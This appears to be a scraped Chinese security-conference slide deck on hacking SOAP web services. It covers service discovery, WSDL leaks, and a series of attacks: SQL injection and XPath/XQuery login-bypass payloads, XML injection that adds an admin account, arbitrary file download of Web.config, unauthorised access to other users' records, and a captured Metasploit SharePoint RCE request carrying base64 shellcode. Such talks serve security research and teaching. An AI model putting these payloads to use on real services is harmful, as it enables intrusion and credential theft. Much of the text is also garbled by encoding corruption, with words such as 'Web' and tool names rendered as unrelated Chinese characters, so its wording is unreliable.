狠狠撸

狠狠撸Share a Scribd company logo
[xKungFoo2012]Web Service Hack
About Me:

From:
        知道创宇安全研究团队
               www.Knownsec.com
          1,Web安全研究
          2,核心产物研发


        FreeBuf核心成员
                  www.FreebuF.com
                 ---国内外实时安全资源资讯聚合
他们在使用奥别产服务:
多种多样的Web服务:
1,提供IP地址来源查询接口   2,蚕蚕在线状态查询接口
多种多样的Web服务:
3,验证码生成接口
内容概要:


 1,什么是Web服务


 2, 发现Web服务及信息搜集

 3,Web服务弱点及攻击手法
什么是奥别产服务:


            UDDI



            Web
    XML     服务
                   WSDL




            SOAP

                          Go
什么是奥别产服务:                 WSDL文件解析

<service>标签中提供了当前Web服务的名称,Web服务所在位置:

<wsdl:service name="newsserver">
<wsdl:port name="newsserverSoap" binding="tns:newss
erverSoap">
<soap:address location="http://www.pwnit.com/newsse
rver.asmx"/>
</wsdl:port>
……
</wsdl:service>
什么是奥别产服务:
<portType>标签中提供了当前所有调用接口名称及调用方法的类型:


 <wsdl:portType name="newsserverSoap">
 <wsdl:operation name="Gethuodong">
 <wsdl:input message="tns:GethuodongSoapIn"/>
 <wsdl:output message="tns:GethuodongSoapOut"/>
 </wsdl:operation>
 </wsdl:portType>
<types>标签中提供当前所有接口的参数及返回值的名称与类型信息


 <wsdl:types>
 <s:schema targetNamespace="http://tempuri.org/">
 <s:element name="Gethuodong">
 <s:complexType><s:sequence>
 <s:element name="title" type="s:string"/>
 </s:sequence></s:complexType></s:element>
 <s:element name="GethuodongResponse">
 <s:complexType><s:sequence>
 <s:element name="GethuodongResult" type="s:string"/>
 </s:sequence></s:complexType></s:element>
 </s:schema>
 </wsdl:types>
                                                        Back
什么是奥别产服务:
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:fow
="Features.Of.WebService">
 <soapenv:Header/>
 <soapenv:Body>
   <fow:Characteristic>
     <fow:Features>
        1,松耦合
        2,语言无关
        3,独立于平台
        4,跨越公司与互联网
        </fow:Features>
   </scor:Characteristic>
 </soapenv:Body>
</soapenv:Envelope>
发现Webservice:
Web服务一般是对外公开的,所以不难找到它们

1,Google Hack:
     filetype:asmx inurl:wsdl
     filetype:wsdl inurl:asmx index of "wsdl“

2,UDDI注册中心查询:
    Microsoft,IBM,SAP
    提供的UDDI服务已经全部停止
    公共Web service查询网站:
    http://webservices.seekda.com/

3,Xmethods(一些公开的Web服务):
     http://www.xmethods.net/ve2/index.po
Google Hack查询结果:
厂别别办诲补中查询础尘补锄辞苍提供的奥别产服务:
齿尘别迟丑辞诲蝉中的第叁方奥别产服务列表:
Web服务信息搜集:

  1,WSDL,DISCO文件信息泄露:
           payCheck.asmx?wsdl
           payCheck.asmx/wsdl
           payCheck.asmx?disco

           Oh man,are u
           kidding me?




              Yeah baby,that’s
                 enough.
国内某游戏厂商在线支付平台奥别产服务:




       奥厂顿尝文件信息泄露
DISCO文件信息泄露:




1,WSDL中的信息一般是无害的,但也会导致大量业务逻辑被
暴露出来。

2,没有什么比WSDL和DISCO文件泄露的信息再多了,通过它
们你几乎可以了解该Web服务的全部细节,可是XML文件看上去
很难直观的展示出Web服务的相关信息。So,do it ur self.
笔测迟丑辞苍脚本遍历奥厂顿尝文件:
公开的Web Service测试工具:




       .Net WebService Studio
贵辞耻苍诲蝉迟辞苍别出品奥厂顿颈驳驳别谤:




        提供了简单的漏洞贵耻锄锄颈苍驳功能
奥厂顿颈驳驳别谤生成的报告:
贵耻锄锄颈苍驳工具奥厂-础迟迟补肠办别谤:枚举奥别产服务接口信息,
                 厂翱础笔请求测试,奥别产服务贵耻锄锄颈苍驳
商业版自动化奥别产服务测试神器厂辞补辫鲍滨:
针对奥别产服务安全问题自动化贵耻锄锄颈苍驳过程:
攻击奥别产服务及测试案例
Web服务安全概述:

1,Web服务依赖于XML格式化语言和SOAP协议,由于之前所讲的一
些特性,这些技术正在变得越来越流行,广泛的被各大公司厂商应用到
实际服务中。但很少有相关人员意识到Web服务会带来的严重安全问题,
攻击者通过实施Web服务攻击可以直接渗透到相关服务的核心部分,造
成巨大的损失。

2,目前针对Web服务攻击的防护可以说是安全防御的一个盲区,如
WAF,IDS等防护产物。而由于Web服务的开放性和灵活度非常高,所
以已有的一些Web服务防御措施效果也并不明显。

3,访问权限控制是目前Web服务的主要防御和控制措施,一个Web服
务接口如果权限设置不当,相关的高权限接口直接暴露在外,被恶意利
用就会产生严重的后果。
一般Web Service渗透测试步骤:


发现Web服务(UDDI,Web服务查询网站,GoogleHack)



   针对Web服务请求WSDL,DISCO文件。



     针对每个接口人工或自动化Fuzzing进行安全测试



      If ur lucky,u can pwn it!
Error-Based Sql Injection:   国内某旅游网

1,正常SOAP请求及响应信息:




2,请求 北京’:
                                 典型的报错注入点
请求北京 ‘and 1=@@version or ‘1‘=‘1:


                                        爆出当前
                                        MSSQL信息



请求北京 ‘and 1=user or ‘1’=‘1:                 还是DBO




 关联案例:WooYun-2011-01860(Jannock,某商城SQL注入)
服务器信息泄露:                    国内某软件厂商

  一些私有的Web服务接口,没有做好访问权限设置导致接口完
  全暴露在外,可以被任何人调用,从而被攻击者利用获取一些
  敏感信息,以便进一步进行渗透。



向一个私有接口发起请求:




  直接获取服务器数据库连接信息

关联案例:wooyun-2010-04665(巭,北辰国旅/海涛假期服务器高危漏洞)
任意文件下载:

一个GetFile接口,没有对特殊字符进行过滤和限制可以导
致任意文件下载:1,发送空参数请求 暴出网站绝对路径:




2,请求目标网站的Web.config配置文件:
成功获取到了经过叠补蝉别64编码后的文件内容:


           叠补蝉别64解码后的配置文件文件内容:
任意用户资料查看:             国内某SNS交友社区

获取用户接口GetUser未做权限访问控制,
任何人可以调用该接口查看任意用户信息。
注册一个帐号,
使用自己的ID调用GetUser接口:




个人账户信息一览无余
更换用户滨顿发送请求:

                                  可以查看到其他用户
                                   的账密信息




由于目标网站用户ID可预测,因此通过此漏洞,
该站上百万的用户账密资料可以被攻击者轻易获取。

关联案例: wooyun-2010-01209(Jannock, 39健康网多处越权漏洞)
XML Injection:

当使用XML存储一些敏感数据或使用XML格式化数据
时,一些Web服务接口没有对用户的输入进行转义,导
致攻击者可以插入任意XML标签,进行越权访问或恶意
操作。
发现XML Injection:
  1,在SOAP消息中,使用标签作为参数,如:</xmli>会导致报错。
  2,使用一对标签作为参数,如<xmli></xmli>,观察报错是否消失。
测试齿尘濒文件中的用户信息:
   ID=0为管理员权限
   ID=500为普通用户权限

通过XML Injection
我们注入一个具有管理员权限的用户
注入XML标签之后的userdb.xml文件内容:




使用注入的帐号登录成功,
得到管理员权限:




上面针对的是使用XML格式
化数据进行的XML注入,同
时我们还可以发送以下请求
针对SOAP请求本身进行
XML注入:
XPath&XQuery Injection:

1,XPath: XPath是一门在 XML 文档中查找信息的语言,通过元素和属性进
行导航。

2,XQuery:建立在XPath的基础上,比XPath更加灵活,同样用于在XML文档
中查询信息。已经被现在主流的RDBMS所支持,如Oracle, DB2,
SQLServer。

3,与SQL语言不同的是,XML或者XPath,XQuery 内部没有任何访问权限
的控制,如果可以控制XPath语句,就能从XML文件中查询任何信息。

4,SOAP基于xmlrpc,但比其更加复杂和强大,因为使用了rpc远程过程调
用,信息均以数据流传输,因此针对Web服务的攻击可以无视php魔术引
号等一些PHP配置文件中的安全限制措施
使用不存在的用户invalid/invalid登录:




使用用户名:invalid’ or ‘1’=‘1 密码:invalid’ or ‘1’=‘1登录。
$match_user = $xml->xpath("//User[Username=‘invalid’ and
Password=‘invalid’]");
$match_user = $xml->xpath("//User[Username=‘invalid’ or ‘1’=‘1’ and
Password=‘invalid’ or ‘1’=‘1’]");
                                                   登录成功,
                                                   具备管理员权限
Xquery注入与Xpath十分相似:
doc(userdb.xml)//User[Username=‘invalid’ and Password=‘invalid’]
doc(userdb.xml)//User[Username=‘invalid’ or ‘1’=‘1’ and
Password=‘invalid’ or ‘1’=‘1]

                   只需要额外指明xml文件

XQuery中的一些新特性:
1,contains函数:
doc(userdb.xml)//User[contains(Username,‘invalid’) and
contains(Password=‘invalid’)]
doc(userdb.xml)//User[contains(Username,‘invalid’) or contains(.,’*’)
and contains(Password=‘invalid’) or contains(.,’*’)]
2, position函数:
doc(userdb.xml)//User[contains(Username,‘invalid’) or
contains(Username,’root’) and contains(Password=‘’) or contains(.,’*’)
and position() <=2]
//语句可以绕过验证,并返回root信息,position()指明查询范围为前两
个结点
(MS10-104)
SharePoint Server Arbitrary File Upload RCE
SharePoint Server是一个服务器功能集成套件,提供全面的内容管理
和公司搜索。该套件中提供了一个用于文档格式转换的Web服务,攻
击者通过向ConvertFile接口发送畸形的SOAP请求来上传恶意文件并
执行任意代码。影响版本:SharePoint 2007 sp2
开启文档转换服务的SharePoint:




服务监听在8082端口:
利用MSF执行Payload成功,获得一个Meterpreter session:




通过WireShark截获的Metasploit向SharePoint服务器发送的数据包:
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>                   请求的接口
<i2:ConvertFile id=“ref-1”
xmlns:i2="http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConv
ersionsLauncher/Microsoft.HtmlTrans.Interface">
                                                                  Web服务地址
<launcherUri id="ref-3">http://192.168.80.141:8082/HtmlTrLauncher</launcherUri>
<appExe id="ref-4"></appExe>
<convertFrom id="ref-
                                                               生成的Payload路
5">..............WINDOWSsystem32IIMKbknocxSsQ.exe</convertFrom>
<convertTo id="ref-6">html</convertTo>                         径及名称
<fileBits href="#ref-7"/>
…….
                                                        Base64编码后的
</i2:ConvertFile>
<SOAP-ENC:Array id=“ref-7” xsi:type=“SOAP-              ShellCode
ENC:base64”>TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncm
FtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZn
oXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfW
Z6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6F….
我们的成果分享及交流途径



 通过官方博客:http://blog.knownsec.com/

 通过官方微博: 蔼知道创宇
@Pnig0s
 To:M

More Related Content

[xKungFoo2012]Web Service Hack